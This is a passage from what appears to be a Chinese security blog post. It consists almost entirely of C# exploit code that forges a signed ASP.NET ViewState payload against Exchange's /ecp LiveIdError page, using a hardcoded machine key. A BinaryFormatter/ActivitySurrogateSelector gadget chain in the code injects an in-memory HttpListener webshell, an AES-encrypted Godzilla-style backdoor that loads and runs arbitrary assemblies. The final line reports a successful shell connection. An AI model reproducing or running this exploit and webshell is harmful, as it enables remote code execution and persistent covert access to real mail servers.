                            String new_data = md5.Substring(0, 16) + System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)) + md5.Substring(16);
                            byte[] new_data_bytes = Encoding.ASCII.GetBytes(new_data);
                            response.ContentLength64 = new_data_bytes.Length;
                            stm = response.OutputStream;
                            stm.Write(new_data_bytes, 0, new_data_bytes.Length);

                        }}
                    }}
                    else if (method == ""mem_raw"" && request.HttpMethod == ""POST"" && request.HasEntityBody)
                    {{
                        int contentLength = int.Parse(request.Headers.Get(""Content-Length""));
                        byte[] array = new byte[contentLength];
                        request.InputStream.Read(array, 0, contentLength);
                        byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(array, 0, array.Length);
                        if (sessionTable[""payload""] == null)
                        {{
                            sessionTable[""payload""] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(""Load"", new System.Type[] {{ typeof(byte[]) }}).Invoke(null, new object[] {{ data }});
                        }}
                        else
                        {{
                            object o = ((System.Reflection.Assembly)sessionTable[""payload""]).CreateInstance(""LY"");
                            System.IO.MemoryStream outStream = new System.IO.MemoryStream();
                            o.Equals(outStream);
                            o.Equals(httpContext);
                            o.Equals(data);
                            o.ToString();
                            byte[] r = outStream.ToArray();
                            outStream.Dispose();
                            if (r.Length > 0)
                            {{
                                r = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length);
                                response.StatusCode = 200;
                                stm = response.OutputStream;
                                response.ContentLength64 = r.Length;
                                stm.Write(r, 0, r.Length);
                            }}
                        }}
                    }}
                    else
                    {{
                        response.StatusCode = 404;
                        response.ContentLength64 = not_found.Length;
                        stm = response.OutputStream;
                        stm.Write(not_found, 0, not_found.Length);
                    }}
                }}
                catch (Exception e)
                {{
                    response.StatusCode = 404;
                    response.ContentLength64 = not_found.Length;
                    stm = response.OutputStream;
                    stm.Write(not_found, 0, not_found.Length);
                    Console.WriteLine(""Exception caught1: "" + e.ToString());
                }}
                finally
                {{
                    if (stm != null)
                    {{
                        stm.Flush();
                        stm.Close();
                    }}
                    response.OutputStream.Flush();
                    response.OutputStream.Close();
                }}
            }}
        }}
        catch (Exception e)
        {{
            Console.WriteLine(""Exception caught2: "" + e.ToString());
            //log(""Exception caught2: ""+ e.ToString());
            if (listener.IsListening)
            {{
                listener.Stop();
            }}
        }}
    }}
}}";
            return code;
        }
    }
    public class MemoryShellLoader
    {
        public static byte[] compile_base64_shell(string key, string pass, string inject_path, string memory_shell_type)
        {
            byte[] assembly_bytes = null;
            string source_code = string.Empty;
            source_code = CodeHelper.get_memory_http_listenr_code(key, pass, inject_path);
            try
            {
                CSharpCodeProvider code_provider = new CSharpCodeProvider();
                CompilerParameters parameters = new CompilerParameters();
                parameters.ReferencedAssemblies.Add("System.Web.dll");
                parameters.ReferencedAssemblies.Add("System.dll");
                parameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
                parameters.ReferencedAssemblies.Add("System.Core.dll");
                // parameters.GenerateExecutable = false;
                // parameters.GenerateInMemory = true;
                CompilerResults compiler_results = code_provider.CompileAssemblyFromSource(parameters, source_code);
                if (compiler_results.Errors.HasErrors)
                {
                    foreach (CompilerError err in compiler_results.Errors)
                        Console.WriteLine(err.ErrorText);
                }
                else
                {
                    // 临时路径进行编译
                    assembly_bytes = File.ReadAllBytes(compiler_results.PathToAssembly);
                    File.Delete(compiler_results.PathToAssembly);
                }
            }
            catch (Exception excetion)
            {
                Console.WriteLine($"Memory Generate Fail, {excetion.Message}");
                Environment.Exit(-1);
            }

            return assembly_bytes;
        }
    }


    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(TextFormattingRunProperties));
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }

    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass : ISerializable
    {
        private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector)
        {
            Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
              .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
              .MakeGenericType(typeof(TSource), typeof(TResult));
            return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>;
        }

        public byte[] GadgetChains()
        {
            DesignerVerb verb = null;
            Hashtable ht = null;
            List<object> ls = null;

            //byte[] payload = File.ReadAllBytes(Path.Combine("./test.dll"));
            //byte[][] e1 = new byte[][] { payload };

            byte[] inject_memory_payload = MemoryShellLoader.compile_base64_shell("key", "pass", "/favicon.ico", "HttpListener");
            byte[][] e1 = new byte[][] { inject_memory_payload };
            // Assembly.Load
            IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly>(e1, null, Assembly.Load);

            // IEnumerable<Type>
            IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>>(e2,
                null,
                (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
                    (
                        typeof(Func<Assembly, IEnumerable<Type>>),
                        typeof(Assembly).GetMethod("GetTypes")
                    )
            );

            IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>>(e3,
                null,
                (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerable<Type>, IEnumerator<Type>>),
                    typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
                )
            );
            //bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate
            //Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector
            //
            //WhereSelectEnumerableIterator`2.MoveNext => 
            //  if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} =>
            //  IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current;
            IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type>(e4,
                (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerator<Type>, bool>),
                    typeof(IEnumerator).GetMethod("MoveNext")
                ),
                (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerator<Type>, Type>),
                    typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
                )
            );

            IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance);

            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = end };

            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            verb = new DesignerVerb("", null);

            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.
            ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(e4);
            ls.Add(e5);
            ls.Add(end);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);

            ht = new Hashtable();

            // Add two entries to table.
            /*
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");
            */
            ht.Add(verb, "");
            ht.Add("", "");

            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);

            ls.Add(ht);

            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);

            return stm.ToArray();
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");
            info.SetType(typeof(System.Windows.Forms.AxHost.State));
            info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }
    public class Program
    {
        static object Deserialize(byte[] b)
        {
            using (MemoryStream mem = new MemoryStream(b))
            {
                mem.Position = 0;
                BinaryFormatter bf = new BinaryFormatter();
                return bf.Deserialize(mem);
            }
        }
        
        static byte[] Serialize(object obj)
        {
            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Serialize(mem, obj);
                return mem.ToArray();
            }
        }

        static byte[] GetViewState(byte[] data)
        {
            MemoryStream ms = new MemoryStream();
            // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            // 指定ObjectStateFormatter进行序列化,特征为0x32
            ms.WriteByte(0x32);
            uint num = (uint)data.Length;
            // Value为带有7bit-encoded长度前缀,所以最大长度为0x80
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(data, 0, data.Length);
            return ms.ToArray();
        }

        static void Main(string[] args)
        {
            //string xaml = @"";
            //byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml)));
            Console.WriteLine($"Trying Inject Payload -> CSharpDynamicPayload Encryptor -> CSHARP_AES_BASE64 Password -> pass Key -> key Header -> Type: mem_b64");

            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, test);

            byte[] data = GetViewState(stm.ToArray());
            byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };

            // clientId = hash(当前请求路径)+hash(当前请求文件名)
            uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
                StringComparer.InvariantCultureIgnoreCase.GetHashCode("LiveIdError_aspx"));

            // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
            byte[] _mackey = new byte[4];
            _mackey[0] = (byte)_clientstateid;
            _mackey[1] = (byte)(_clientstateid >> 8);
            _mackey[2] = (byte)(_clientstateid >> 16);
            _mackey[3] = (byte)(_clientstateid >> 24);

            // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
            MemoryStream ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(_mackey, 0, _mackey.Length);
            byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
            Console.ReadKey();
        }
    }
}

哥斯拉内存马连接情况如下所示,可以看到成功连接

posted @ 2023-05-05 01:36  zpchcbd  阅读(920)  评论(0编辑  收藏  举报